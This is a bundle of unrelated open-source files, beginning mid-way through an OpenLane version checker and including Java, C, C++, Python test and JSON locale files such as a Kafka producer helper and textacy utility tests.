file=sys.stderr) print(f"What this likely means is that your environment is very out of date.", file=sys.stderr) exit(os.EX_CONFIG) EX_OK = os.EX_OK EX_MISMATCH = 1 openlane_dir = abspath(dirname(dirname(__file__))) # 1. Load Current Flow Script Manifest manifest = None try: flow_script_manifest_path = join(openlane_dir, "dependencies", "tool_metadata.yml") manifest = yaml.safe_load(open(flow_script_manifest_path)) except FileNotFoundError: raise Exception("Flow script tool manifest not found. This is a fatal error.") manifest_dict = { element['name']: element for element in manifest } mismatches = False try: # 2. Check if the Sky130 PDK is compatible with Flow Scripts if not os.getenv("PDK_ROOT"): raise Exception("Environment variable PDK_ROOT is not set.") pdk_root = os.environ["PDK_ROOT"] sky130_dir = join(pdk_root, "sky130A") if pathlib.Path(sky130_dir).is_dir(): sources_file = join(sky130_dir, "SOURCES") sources_str = None try: sources_str = open(sources_file).read() except FileNotFoundError: raise Exception("Could not find SOURCES file for sky130A.") manifest_names = { "open_pdks": "open_pdks", "skywater": "sky130" } sources_str = sources_str.strip() sources_lines = list(filter(lambda x: x, sources_str.split("\n"))) # Format: {tool} {commit} if sources_str.startswith("-ne"): # Format: # -ne {tool} # {commit} sources_lines = [] entries = len(sources_lines) // 2 name_rx = re.compile(r"\-ne\s+([\w\-]+)") for entry in range(entries): name_line = sources_lines[entry * 2] commit_line = sources_lines[entry * 2 + 1] name_data = name_rx.match(name_line) if name_data is None: raise Exception(f"Malformed sky130A SOURCES file: {name_line} did not match regex.") name = name_data[1] commit = commit_line.strip() sources_lines.append(f"{name} {commit}") name_rx = re.compile(r"([\w\-]+)\s+(\w+)") for line in sources_lines: match = name_rx.match(line) if match is None: raise Exception(f"Malformed sky130A SOURCES file: {line} did not match regex.") name = match[1] commit = match[2] manifest_name = manifest_names.get(name) if manifest_name is None: continue manifest_commit = manifest_dict[manifest_name]["commit"] if commit != manifest_commit: mismatches = True print(f"The version of {manifest_name} installed does not match the one required by the OpenLane flow scripts (installed: {commit}, expected: {manifest_commit})", file=sys.stderr) print(f"You may want to re-install the PDK by invoking `make pdk`.", file=sys.stderr) except Exception as e: print("Failed to compare PDKS", file=sys.stderr) print(e, file=sys.stderr) print(traceback.format_exc(), file=sys.stderr) exit(os.EX_CONFIG) installed_versions_path = join(openlane_dir, "build", "versions") installed = pathlib.Path(installed_versions_path).is_dir() environment_manifest = None if installed: # 3a. Compare with installed versions environment_manifest = [] for tool in os.listdir(installed_versions_path): protocol, url, commit = open(join(installed_versions_path, tool)).read().split(':') repo = f"{protocol}:{url}" environment_manifest.append({ "name": tool, "repo": repo, "commit": commit }) else: # 3b. Compare Container And Installation Manifests try: container_manifest_path = join("/", "tool_metadata.yml") environment_manifest = yaml.safe_load(open(container_manifest_path)) except FileNotFoundError: raise Exception("Container manifest not found. What this likely means is that the container is severely out of date.") tool_set_flow = set([element['name'] for element in manifest]) tool_set_container = set([element['name'] for element in environment_manifest]) unmatched_tools_flow = tool_set_flow - tool_set_container for tool in unmatched_tools_flow: tool_object = manifest_dict[tool] if tool_object.get("in_container") is not None and not tool_object["in_container"]: continue if installed and tool_object.get("in_install") is not None and not tool_object["in_install"]: continue print(f"Tool {tool} is required by the flow scripts being used, but appears to not be installed in the environment.", file=sys.stderr) mismatches = True unmatched_tools_container = tool_set_container - tool_set_flow for tool in unmatched_tools_container: print(f"Tool {tool} is installed in the environment, but has no corresponding entry in the flow scripts.", file=sys.stderr) mismatches = True for tool in environment_manifest: flow_script_counterpart = manifest_dict.get(tool["name"]) if flow_script_counterpart is None: continue container_commit = tool['commit'] flow_script_commit = flow_script_counterpart['commit'] if container_commit != flow_script_commit: print(f"The version of {tool['name']} installed in the environment does not match the one required by the OpenLane flow scripts (installed: {container_commit}, expected: {flow_script_commit})") mismatches = True if mismatches: exit(EX_MISMATCH) else: exit(EX_OK)
2,628
1,210
<gh_stars>1000+ /* * Copyright (c) 2004, 2006, 2008 Hyperic, Inc. * Copyright (c) 2010 VMware, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <jni.h> #include "sigar.h" #define JENV (*env) #define SIGAR_PACKAGE "org/hyperic/sigar/" #define SIGAR_JNI(m) JNICALL Java_org_hyperic_sigar_##m #define SIGAR_JNIx(m) JNICALL Java_org_hyperic_sigar_Sigar_##m #define SIGAR_FIND_CLASS(name) \ JENV->FindClass(env, SIGAR_PACKAGE name) #define SIGAR_CLASS_SIG(name) \ "L" SIGAR_PACKAGE name ";" /* CHeck EXception */ #define SIGAR_CHEX if (JENV->ExceptionCheck(env)) return NULL typedef struct { JNIEnv *env; jobject obj; jmethodID id; } jsigar_list_t; #ifdef __cplusplus extern "C" { #endif int jsigar_list_init(JNIEnv *env, jsigar_list_t *obj); int jsigar_list_add(void *data, char *value, int len); sigar_t *jsigar_get_sigar(JNIEnv *env, jobject sigar_obj); #ifdef __cplusplus } #endif
551
2,655
<filename>src/intl/it/page-about.json { "page-about-h2": "Richiedi una funzionalità", "page-about-h3": "Lavori in corso", "page-about-h3-1": "Funzionalità implementate", "page-about-h3-2": "Funzionalità previste", "page-about-li-1": "in corso", "page-about-li-2": "in programma", "page-about-li-3": "implementato", "page-about-li-4": "implementato", "page-about-link-1": "Il codice sorgente di questo repository è concesso in licenza con licenza MIT", "page-about-link-2": "GitHub", "page-about-link-3": "Visualizza l'elenco completo delle attività in corso su GitHub", "page-about-link-4": "Unisciti al nostro server Discord", "page-about-link-5": "Contattaci su Twitter", "page-about-link-6": "Visualizza l'elenco completo delle attività implementate su GitHub", "page-about-link-7": "Apri una segnalazione su GitHub", "page-about-p-1": "Fin dal lancio di ethereum.org, ci sforziamo di essere trasparenti su come operiamo. Questo è uno dei nostri valori fondamentali perché riteniamo che la trasparenza sia fondamentale per il successo di Ethereum.", "page-about-p-2": "Utilizziamo", "page-about-p-3": "come strumento primario di gestione dei progetti. Organizziamo le nostre attività in tre categorie:", "page-about-p-4": " Facciamo del nostro meglio per tenere informata la community sullo stato di un'attività specifica.", "page-about-p-5": "Attività che stiamo implementando.", "page-about-p-6": "Prossime attività in coda da implementare.", "page-about-p-7": "Attività completate di recente.", "page-about-p-8": "Hai un'idea su come migliorare ethereum.org? Ci piacerebbe collaborare con te!" }
646
325
<filename>test/cases/expanded/gnu variadic macros.h "2,3,4", 1 __VA_ARGS__ 2,3,4
38
5,865
<filename>domain/src/main/java/com/thoughtworks/go/domain/JobResult.java /* * Copyright 2021 ThoughtWorks, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.thoughtworks.go.domain; import java.util.Comparator; /** * */ public enum JobResult implements ViewableStatus { Passed, Failed, Cancelled, Unknown; public boolean isPassed() { return this.equals(Passed); } public boolean isFailed() { return this.equals(Failed); } public boolean isCancelled() { return this.equals(Cancelled); } public boolean isUnknown() { return this.equals(Unknown); } @Override public String getStatus() { return this.toString(); } @Override public String getCruiseStatus() { return this.toString(); } public String toLowerCase() { return toString().toLowerCase(); } public String toCctrayStatus() { switch (this) { case Failed: case Cancelled: return "Failure"; default: return "Success"; } } public static final Comparator<JobResult> JOB_RESULT_COMPARATOR = (o1, o2) -> { if (o1._isFailed() && o2._isFailed()) { return 0; } if (o1._isFailed()) { return -1; } if (o2._isFailed()) { return 1; } if (o1.isUnknown() && !o2.isUnknown()) { return -1; } if (o2.isUnknown() && !o1.isUnknown()) { return 1; } return o1.compareTo(o2); }; private boolean _isFailed() { return this == Failed || this == Cancelled; } }
933
335
<reponame>Safal08/Hacktoberfest-1<filename>P/Punk_adjective.json { "word": "Punk", "definitions": [ "Relating to punk rock and its associated subculture.", "In poor condition." ], "parts-of-speech": "Adjective" }
107
1,393
package io.ribot.app.ui; import android.content.Intent; import android.os.Bundle; import javax.inject.Inject; import io.ribot.app.data.DataManager; import io.ribot.app.ui.base.BaseActivity; import io.ribot.app.ui.main.MainActivity; import io.ribot.app.ui.signin.SignInActivity; public class LauncherActivity extends BaseActivity { @Inject DataManager mDataManager; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); activityComponent().inject(this); Intent intent; if (mDataManager.getPreferencesHelper().getAccessToken() != null) { intent = MainActivity.getStartIntent(this, false); } else { intent = SignInActivity.getStartIntent(this, false); } startActivity(intent); } @Override protected void onPostResume() { super.onPostResume(); finish(); } }
366
23,220
<gh_stars>1000+ package com.alibaba.otter.canal.server.netty; import com.alibaba.otter.canal.common.CanalLifeCycle; import com.alibaba.otter.canal.server.netty.listener.ChannelFutureAggregator.ClientRequestResult; /** * @author <NAME> */ public interface ClientInstanceProfiler extends CanalLifeCycle { void profiling(ClientRequestResult result); }
119
51,124
{ "componentDescription": "", "propDescriptions": { "alt": "Used in combination with <code>src</code> or <code>srcSet</code> to provide an alt attribute for the rendered <code>img</code> element.", "children": "Used to render icon or text elements inside the Avatar if <code>src</code> is not set. This can be an element, or just a string.", "classes": "Override or extend the styles applied to the component. See <a href=\"#css\">CSS API</a> below for more details.", "component": "The component used for the root node. Either a string to use a HTML element or a component.", "imgProps": "Attributes applied to the <code>img</code> element if the component is used to display an image. It can be used to listen for the loading error event.", "sizes": "The <code>sizes</code> attribute for the <code>img</code> element.", "src": "The <code>src</code> attribute for the <code>img</code> element.", "srcSet": "The <code>srcSet</code> attribute for the <code>img</code> element. Use this attribute for responsive image display.", "sx": "The system prop that allows defining system overrides as well as additional CSS styles. See the <a href=\"/system/basics/#the-sx-prop\">`sx` page</a> for more details.", "variant": "The shape of the avatar." }, "classDescriptions": { "root": { "description": "Styles applied to the root element." }, "colorDefault": { "description": "Styles applied to {{nodeName}} if {{conditions}}.", "nodeName": "the root element", "conditions": "not <code>src</code> or <code>srcSet</code>" }, "circular": { "description": "Styles applied to {{nodeName}} if {{conditions}}.", "nodeName": "the root element", "conditions": "<code>variant=\"circular\"</code>" }, "rounded": { "description": "Styles applied to {{nodeName}} if {{conditions}}.", "nodeName": "the root element", "conditions": "<code>variant=\"rounded\"</code>" }, "square": { "description": "Styles applied to {{nodeName}} if {{conditions}}.", "nodeName": "the root element", "conditions": "<code>variant=\"square\"</code>" }, "img": { "description": "Styles applied to {{nodeName}} if {{conditions}}.", "nodeName": "the img element", "conditions": "either <code>src</code> or <code>srcSet</code> is defined" }, "fallback": { "description": "Styles applied to the fallback icon" } } }
846
14,668
#!/usr/bin/env python3 # Copyright 2021 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Parses allocation profiles from a trace and graphs the results. This parses an allocation profile generated by PartitionAlloc in the thread cache. This will only give data on Chrome instances where the thread cache is enabled, and PA_THREAD_CACHE_ALLOC_STATS is defined, that is non-official builds. To collect a profile: - Build a non-official chrome version (Should be a release build for accurate reports) - Collect a trace with the memory-infra category enabled (in chrome://tracing) - Save it as json.gz, and load it here. """ import argparse import logging import os from matplotlib import pylab as plt import numpy as np from parse_trace import LoadTrace, GetAllocatorDumps, ProcessNamesAndLabels def _ParseTrace(trace: dict) -> dict: """Parses a trace, and returns thread cache stats. Args: trace: As returned by LoadTrace() Returns: {pid -> {'name': str, 'labels': str, 'data': np.array}. Where the data array contains 'size' and 'count' columns. """ dumps = GetAllocatorDumps(trace) pid_to_name, pid_to_labels = ProcessNamesAndLabels(trace) result = {} for dump in dumps: pid = dump['pid'] allocators = dump['args']['dumps']['allocators'] # The browser process also has global dumps, we do not care about these. if 'global' in allocators: continue result[pid] = { 'name': pid_to_name[pid], 'labels': pid_to_labels.get(pid, '') } size_counts = [] for allocator in allocators: if ('malloc/partitions/allocator/thread_cache/buckets_alloc/' not in allocator): continue size = int(allocator[allocator.rindex('/') + 1:]) count = int(allocators[allocator]['attrs']['count']['value'], 16) size_counts.append((size, count)) size_counts.sort() result[pid]['data'] = np.array(size_counts, dtype=[('size', np.int), ('count', np.int)]) return result def _PlotProcess(all_data: dict, pid: int, output_prefix: str): """Represents the allocation size distribution. Args: all_data: As returned by _ParseTrace(). pid: PID to plot the data for. output_prefix: Prefix of the output file. """ data = all_data[pid] logging.info('Plotting data for PID %d' % pid) # Allocations vs size. plt.figure(figsize=(16, 8)) plt.title('Allocation count vs Size - %s - %s' % (data['name'], data['labels'])) plt.xscale('log', base=2) plt.yscale('log', base=10) plt.stem(data['data']['size'], data['data']['count']) plt.xlabel('Size (log)') plt.ylabel('Allocations (log)') plt.savefig('%s_%d_count.png' % (output_prefix, pid), bbox_inches='tight') plt.close() # CDF. plt.figure(figsize=(16, 8)) plt.title('CDF of allocation size - %s - %s' % (data['name'], data['labels'])) cdf = np.cumsum(100. * data['data']['count']) / np.sum(data['data']['count']) for value in [512, 1024, 2048, 4096, 8192]: index = np.where(data['data']['size'] == value)[0] cdf_value = cdf[index] plt.axvline(x=value, ymin=0, ymax=cdf_value / 100., color='lightgrey') plt.step(data['data']['size'], cdf, color='black', where='post') plt.ylim(ymin=0, ymax=100) plt.xlim(xmin=10, xmax=1e6) plt.xscale('log', base=2) plt.xlabel('Size (log)') plt.ylabel('CDF (%)') plt.savefig('%s_%d_cdf.png' % (output_prefix, pid), bbox_inches='tight', dpi=300) plt.close() def _CreateArgumentParser(): parser = argparse.ArgumentParser() parser.add_argument( '--trace', type=str, required=True, help='Path to a trace.json[.gz] with memory-infra enabled.') parser.add_argument('--output-dir', type=str, required=True, help='Output directory for graphs.') return parser def main(): logging.basicConfig(level=logging.INFO) parser = _CreateArgumentParser() args = parser.parse_args() logging.info('Loading the trace') trace = LoadTrace(args.trace) logging.info('Parsing the trace') stats_per_process = _ParseTrace(trace) logging.info('Plotting the results') for pid in stats_per_process: if 'data' in stats_per_process[pid]: _PlotProcess(stats_per_process, pid, os.path.join(args.output_dir, 'result')) if __name__ == '__main__': main()
1,843
307
// // #ifndef _SPHERE_SHAPE_H #define _SPHERE_SHAPE_H #pragma once #include "globalincs/pstypes.h" #include "math/bitarray.h" #include "particle/ParticleEffect.h" #include "utils/RandomRange.h" namespace particle { namespace effects { /** * @ingroup particleEffects */ class SphereShape { ::util::UniformFloatRange m_sphereRange; public: SphereShape() : m_sphereRange(0.f, 1.f) {} matrix getDisplacementMatrix() { auto u = m_sphereRange.next(); auto v = m_sphereRange.next(); auto theta = 2 * PI * u; auto phi = acos(2 * v - 1); vec3d vec; vec.xyz.x = sin(theta)*cos(phi); vec.xyz.y = sin(theta)*sin(phi); vec.xyz.z = cos(theta); matrix m; vm_vector_2_matrix_norm(&m, &vec); return m; } void parse(bool /*nocreate*/) { } EffectType getType() const { return EffectType::Sphere; } /** * @brief Specifies if the velocities of the particles should be scaled with the deviation from the direction * @return @c true */ static constexpr bool scale_velocity_deviation() { return false; } }; } } #endif //_SPHERE_SHAPE_H
436
348
<reponame>chamberone/Leaflet.PixiOverlay {"nom":"Douvaine","circ":"5ème circonscription","dpt":"Haute-Savoie","inscrits":3254,"abs":2021,"votants":1233,"blancs":14,"nuls":1,"exp":1218,"res":[{"nuance":"REM","nom":"Mme <NAME>","voix":462},{"nuance":"DVD","nom":"Mme <NAME>","voix":176},{"nuance":"FN","nom":"Mme <NAME>","voix":142},{"nuance":"LR","nom":"Mme <NAME>","voix":131},{"nuance":"FI","nom":"M. <NAME>","voix":116},{"nuance":"SOC","nom":"<NAME>","voix":67},{"nuance":"REG","nom":"<NAME>","voix":59},{"nuance":"COM","nom":"<NAME>","voix":18},{"nuance":"DIV","nom":"Mme <NAME>","voix":13},{"nuance":"DLF","nom":"<NAME>","voix":13},{"nuance":"EXG","nom":"Mme <NAME>","voix":11},{"nuance":"REG","nom":"<NAME>","voix":10}]}
292
1,929
<reponame>austinjp/textacy import datetime import pathlib import pytest from textacy import utils @pytest.mark.parametrize( "val,val_type,col_type,expected", [ (None, int, list, None), (1, int, list, [1]), ([1, 2], int, tuple, (1, 2)), ((1, 1.0), (int, float), set, {1, 1.0}), ], ) def test_to_collection(val, val_type, col_type, expected): assert utils.to_collection(val, val_type, col_type) == expected class TestToUnicode: @pytest.mark.parametrize("s", [b"bytes", "unicode", "úñîçødé"]) def test_valid(self, s): assert isinstance(utils.to_unicode(s), str) @pytest.mark.parametrize("s", [1, 2.0, ["foo", "bar"], {"foo": "bar"}]) def test_invalid(self, s): with pytest.raises(TypeError): _ = utils.to_unicode(s) class TestToBytes: @pytest.mark.parametrize("s", [b"bytes", "unicode", "úñîçødé"]) def test_valid(self, s): assert isinstance(utils.to_bytes(s), bytes) @pytest.mark.parametrize("s", [1, 2.0, ["foo", "bar"], {"foo": "bar"}]) def test_invalid(self, s): with pytest.raises(TypeError): _ = utils.to_bytes(s) class TestToPath: @pytest.mark.parametrize("path", [pathlib.Path("."), pathlib.Path.home()]) def test_path_input(self, path): assert isinstance(utils.to_path(path), pathlib.Path) @pytest.mark.parametrize("path", ["unicode", "úñîçødé"]) def test_str_input(self, path): assert isinstance(utils.to_path(path), pathlib.Path) @pytest.mark.parametrize("path", [1, 2.0, ["foo", "bar"], {"foo": "bar"}]) def test_invalid_input(self, path): with pytest.raises(TypeError): _ = utils.to_path(path) class TestValidateAndClipRange: @pytest.mark.parametrize( "range_vals,full_range,val_type", [ [("2001-01", "2002-01"), ("2000-01", "2003-01"), None], [["2001-01", "2004-01"], ("2000-01", "2003-01"), None], [("2001-01", "2002-01"), ["2000-01", "2003-01"], (str, bytes)], [[-5, 5], [-10, 10], None], [(-5, 5), (0, 10), None], [(-5, 5), (-10, 10), int], [(-5, 5), (-10, 10), (int, float)], [(0, None), (-5, 5), None], [(None, 0), (-5, 5), None], ], ) def test_valid_inputs(self, range_vals, full_range, val_type): output = utils.validate_and_clip_range(range_vals, full_range, val_type) assert isinstance(output, tuple) assert len(output) == 2 if range_vals[0] is None: assert output[0] == full_range[0] else: assert output[0] == max(range_vals[0], full_range[0]) if range_vals[1] is None: assert output[1] == full_range[1] else: assert output[1] == min(range_vals[1], full_range[1]) @pytest.mark.parametrize( "range_vals,full_range,val_type,error", [ ["2001-01", ("2000-01", "2003-01"), None, pytest.raises(TypeError)], [("2001-01", "2002-01"), "2000-01", None, pytest.raises(TypeError)], [ {"2001-01", "2002-01"}, ("2000-01", "2003-01"), None, pytest.raises(TypeError), ], [ ("2001-01", "2002-01"), ("2000-01", "2003-01"), datetime.date, pytest.raises(TypeError), ], [0, [-10, 10], None, pytest.raises(TypeError)], [(-5, 5), 0, None, pytest.raises(TypeError)], [[-5, 5], [-10, 10], (str, bytes), pytest.raises(TypeError)], [ ("2001-01", "2002-01", "2003-01"), ("2000-01", "2003-01"), None, pytest.raises(ValueError), ], [ ("2001-01", "2002-01"), ["2000-01", "2002-01", "2004-01"], None, pytest.raises(ValueError), ], [[0, 5, 10], (-10, 10), None, pytest.raises(ValueError)], [(-5, 5), [-10, 0, 10], None, pytest.raises(ValueError)], [(-5, 5), [-10, 0, 10], (str, bytes), pytest.raises(ValueError)], ], ) def test_invalid_inputs(self, range_vals, full_range, val_type, error): with error: _ = utils.validate_and_clip_range(range_vals, full_range, val_type) class TestValidateSetMembers: @pytest.mark.parametrize( "vals,val_type,valid_vals", [ [{"a", "b"}, (str, bytes), {"a", "b", "c"}], ["a", (str, bytes), {"a", "b", "c"}], [("a", "b"), (str, bytes), {"a", "b", "c"}], [["a", "b"], (str, bytes), None], [{1, 2}, int, {1, 2, 3}], [{1, 2}, (int, float), {1, 2, 3}], [1, int, {1: "a", 2: "b", 3: "c"}], [{3.14, 42.0}, float, None], [3.14, (int, float), None], ] ) def test_valid_inputs(self, vals, val_type, valid_vals): output = utils.validate_set_members(vals, val_type, valid_vals) assert isinstance(output, set) assert all(isinstance(val, val_type) for val in output) @pytest.mark.parametrize( "vals,val_type,valid_vals,error", [ [{"a", "b"}, int, None, pytest.raises(TypeError)], ["a", int, None, pytest.raises(TypeError)], [("a", "b"), (int, float), None, pytest.raises(TypeError)], [{"a", "b"}, (str, bytes), {"x", "y", "z"}, pytest.raises(ValueError)], [{"a", "x"}, (str, bytes), {"x", "y", "z"}, pytest.raises(ValueError)], ["a", (str, bytes), {"x", "y", "z"}, pytest.raises(ValueError)], ["a", (str, bytes), {"x": 24, "y": 25, "z": 26}, pytest.raises(ValueError)], ] ) def test_invalid_inputs(self, vals, val_type, valid_vals, error): with error: _ = utils.validate_set_members(vals, val_type, valid_vals) # TODO: uncomment this when we're only supporting PY3.8+ # def _func_pos_only_args(parg1, parg2, /): # return (parg1, parg2) # TODO: uncomment this when we're only supporting PY3.8+ # def _func_mix_args(parg, /, arg, *, kwarg): # return (parg, arg, kwarg) def _func_mix_args(arg, *, kwarg): return (arg, kwarg) def _func_kw_only_args(*, kwarg1, kwarg2): return (kwarg1, kwarg2) @pytest.mark.parametrize( "func,kwargs,expected", [ # (_func_pos_only_args, {"kwarg": "kwargval"}, {}), (_func_mix_args, {"arg": "argval"}, {"arg": "argval"}), ( _func_mix_args, {"arg": "argval", "kwarg": "kwarval"}, {"arg": "argval", "kwarg": "kwarval"}, ), ( _func_mix_args, {"arg": "argval", "kwarg": "kwargval", "foo": "bar"}, {"arg": "argval", "kwarg": "kwargval"}, ), ( _func_kw_only_args, {"kwarg1": "kwarg1val", "kwarg2": "kwarg2val"}, {"kwarg1": "kwarg1val", "kwarg2": "kwarg2val"}, ), ( _func_kw_only_args, {"kwarg1": "kwarg1val", "kwarg3": "kwarg3val"}, {"kwarg1": "kwarg1val"}, ), (_func_kw_only_args, {}, {}), ], ) def test_get_kwargs_for_func(func, kwargs, expected): assert utils.get_kwargs_for_func(func, kwargs) == expected @pytest.mark.parametrize( "text, n, pad, exp", [ ( "testing 123", 1, False, ('t', 'e', 's', 't', 'i', 'n', 'g', ' ', '1', '2', '3'), ), ( "testing 123", 1, True, ('t', 'e', 's', 't', 'i', 'n', 'g', ' ', '1', '2', '3'), ), ( "testing 123", 2, False, ('te', 'es', 'st', 'ti', 'in', 'ng', 'g ', ' 1', '12', '23'), ), ( "testing 123", 2, True, ('_t', 'te', 'es', 'st', 'ti', 'in', 'ng', 'g ', ' 1', '12', '23', '3_'), ), ] ) def test_text_to_char_ngrams(text, n, pad, exp): obs = utils.text_to_char_ngrams(text, n, pad=pad) assert all(isinstance(cng, str) and len(cng) == n for cng in obs) assert obs == exp
4,441
456
<reponame>pafri/DJV // SPDX-License-Identifier: BSD-3-Clause // Copyright (c) 2004-2020 <NAME> // All rights reserved. #include <djvSystemTest/DirectoryModelTest.h> #include <djvSystem/DirectoryModel.h> #include <djvSystem/FileIO.h> using namespace djv::Core; using namespace djv::System; namespace djv { namespace SystemTest { DirectoryModelTest::DirectoryModelTest( const File::Path& tempPath, const std::shared_ptr<Context>& context) : ITickTest( "djv::SystemTest::DirectoryModelTest", File::Path(tempPath, "DirectoryModelTest"), context) {} void DirectoryModelTest::run() { if (auto context = getContext().lock()) { auto model = File::DirectoryModel::create(context); File::Path path; std::vector<File::Info> info; std::vector<std::string> fileNames; bool hasUp = false; std::vector<File::Path> history; size_t historyIndex = 0; bool hasBack = false; bool hasForward = false; File::DirectoryListOptions options; auto pathObserver = Observer::Value<File::Path>::create( model->observePath(), [&path](const File::Path& value) { path = value; }); auto infoObserver = Observer::List<File::Info>::create( model->observeInfo(), [&info](const std::vector<File::Info>& value) { info = value; }); auto fileNamesObserver = Observer::List<std::string>::create( model->observeFileNames(), [&fileNames](const std::vector<std::string>& value) { fileNames = value; }); auto hasUpObserver = Observer::Value<bool>::create( model->observeHasUp(), [&hasUp](bool value) { hasUp = value; }); auto historyObserver = Observer::List<File::Path>::create( model->observeHistory(), [&history](const std::vector<File::Path>& value) { history = value; }); auto historyIndexObserver = Observer::Value<size_t>::create( model->observeHistoryIndex(), [&historyIndex](size_t value) { historyIndex = value; }); auto hasBackObserver = Observer::Value<bool>::create( model->observeHasBack(), [&hasBack](bool value) { hasBack = value; }); auto hasForwardObserver = Observer::Value<bool>::create( model->observeHasForward(), [&hasForward](bool value) { hasForward = value; }); auto optionsObserver = Observer::Value<File::DirectoryListOptions>::create( model->observeOptions(), [&options](const File::DirectoryListOptions& value) { options = value; }); model->setPath(getTempPath()); { _print("Path: " + path.get()); } model->reload(); for (const auto& i : info) { _print("File info: " + std::string(i)); } for (const auto& i : fileNames) { _print("File name: " + i); } const auto pathA = path; model->cdUp(); const auto pathB = path; { _print("Path: " + path.get()); } DJV_ASSERT(hasUp); model->setHistoryMax(100); model->setHistoryMax(100); model->setHistoryMax(10); model->setHistoryIndex(0); DJV_ASSERT(path == pathA); model->goForward(); DJV_ASSERT(path == pathB); model->goBack(); DJV_ASSERT(path == pathA); for (const auto& i : history) { _print("History: " + i.get()); } DJV_ASSERT(0 == historyIndex); DJV_ASSERT(!hasBack); DJV_ASSERT(hasForward); model->setPath(pathB); model->setPath(pathA); model->setHistoryMax(0); File::DirectoryListOptions optionsA; optionsA.extensions.insert(".txt"); optionsA.sequences = true; optionsA.sequenceExtensions.insert(".txt"); optionsA.showHidden = true; optionsA.sort = File::DirectoryListSort::Size; optionsA.reverseSort = true; optionsA.sortDirectoriesFirst = false; optionsA.filter = ".txt"; model->setOptions(optionsA); DJV_ASSERT(options == optionsA); _tickFor(std::chrono::milliseconds(1000)); auto io = File::IO::create(); io->open( File::Path(path, "file.txt").get(), File::Mode::Write); io->close(); _tickFor(std::chrono::milliseconds(1000)); } } } // namespace SystemTest } // namespace djv
3,536
626
package org.jsmart.zerocode.core.kafka.helper; import static org.jsmart.zerocode.core.kafka.KafkaConstants.RAW; import static org.jsmart.zerocode.core.kafka.common.CommonConfigs.BOOTSTRAP_SERVERS; import static org.jsmart.zerocode.core.kafka.common.KafkaCommonUtils.resolveValuePlaceHolders; import static org.jsmart.zerocode.core.kafka.error.KafkaMessageConstants.NO_RECORD_FOUND_TO_SEND; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.List; import java.util.Properties; import org.apache.kafka.clients.producer.KafkaProducer; import org.apache.kafka.clients.producer.Producer; import org.apache.kafka.clients.producer.ProducerRecord; import org.jsmart.zerocode.core.di.provider.GsonSerDeProvider; import org.jsmart.zerocode.core.di.provider.ObjectMapperProvider; import org.jsmart.zerocode.core.kafka.KafkaConstants; import org.jsmart.zerocode.core.kafka.send.message.ProducerJsonRecord; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.fasterxml.jackson.databind.ObjectMapper; import com.google.common.io.Resources; import com.google.gson.Gson; import com.google.protobuf.InvalidProtocolBufferException; import com.google.protobuf.Message; import com.google.protobuf.Message.Builder; import com.google.protobuf.util.JsonFormat; import com.jayway.jsonpath.JsonPath; import com.jayway.jsonpath.PathNotFoundException; public class KafkaProducerHelper { private static final Logger LOGGER = LoggerFactory.getLogger(KafkaProducerHelper.class); private static final Gson gson = new GsonSerDeProvider().get(); private static final ObjectMapper objectMapper = new ObjectMapperProvider().get(); public static Producer<Long, String> createProducer(String bootStrapServers, String producerPropertyFile) { try (InputStream propsIs = Resources.getResource(producerPropertyFile).openStream()) { Properties properties = new Properties(); properties.load(propsIs); properties.put(BOOTSTRAP_SERVERS, bootStrapServers); resolveValuePlaceHolders(properties); return new KafkaProducer(properties); } catch (IOException e) { throw new RuntimeException("Exception while reading kafka producer properties - " + e); } } public static void validateProduceRecord(List producerRecords) { if (producerRecords == null || producerRecords.size() == 0) { throw new RuntimeException(NO_RECORD_FOUND_TO_SEND); } } public static ProducerRecord prepareRecordToSend(String topicName, ProducerRecord recordToSend) { return new ProducerRecord(topicName, recordToSend.partition(), recordToSend.timestamp(), recordToSend.key(), recordToSend.value(), recordToSend.headers()); } public static ProducerRecord<Object, Object> prepareJsonRecordToSend(String topicName, ProducerJsonRecord recordToSend, String recordType, String requestJson) { return ProducerRecordBuilder.from(topicName, recordToSend.getKey(), // -------------------------------------------- // It's a JSON as String. Nothing to worry ! // Kafka StringSerializer needs in this format. // -------------------------------------------- KafkaConstants.PROTO.equalsIgnoreCase(recordType) ? buildProtoMessage(recordToSend.getValue().toString(), requestJson) : recordToSend.getValue().toString()) .withHeaders(recordToSend.getHeaders()) .build(); } private static Object buildProtoMessage(String message, String requestJson) { String protobufMessageClassName = protoClassType(requestJson, KafkaConstants.PROTO_BUF_MESSAGE_CLASS_TYPE); Builder builder = createBuilder(protobufMessageClassName); try { JsonFormat.parser().merge(message, builder); } catch (InvalidProtocolBufferException e) { throw new IllegalArgumentException(e); } return builder.build().toByteArray(); } private static Builder createBuilder(String messageClass) { try { Class<Message> msgClass = (Class<Message>) Class.forName(messageClass); Method method = msgClass.getMethod("newBuilder", null); return (Builder) method.invoke(null, null); } catch (IllegalAccessException | ClassNotFoundException | NoSuchMethodException | SecurityException | IllegalArgumentException | InvocationTargetException e) { throw new IllegalArgumentException(e); } } public static String readRecordType(String requestJson, String jsonPath) { try { return JsonPath.read(requestJson, jsonPath); } catch (PathNotFoundException pEx) { LOGGER.warn("Could not find path '" + jsonPath + "' in the request. returned default type 'RAW'."); return RAW; } } public static String protoClassType(String requestJson, String classTypeJsonPath) { try { return JsonPath.read(requestJson, classTypeJsonPath); } catch (PathNotFoundException pEx) { LOGGER.error("Could not find path '" + classTypeJsonPath + "' in the request. returned default type 'RAW'."); String errMsg = "Missing 'protoClassType' for 'recordType:PROTO'. Please provide 'protoClassType' and rerun "; throw new RuntimeException(errMsg); } } }
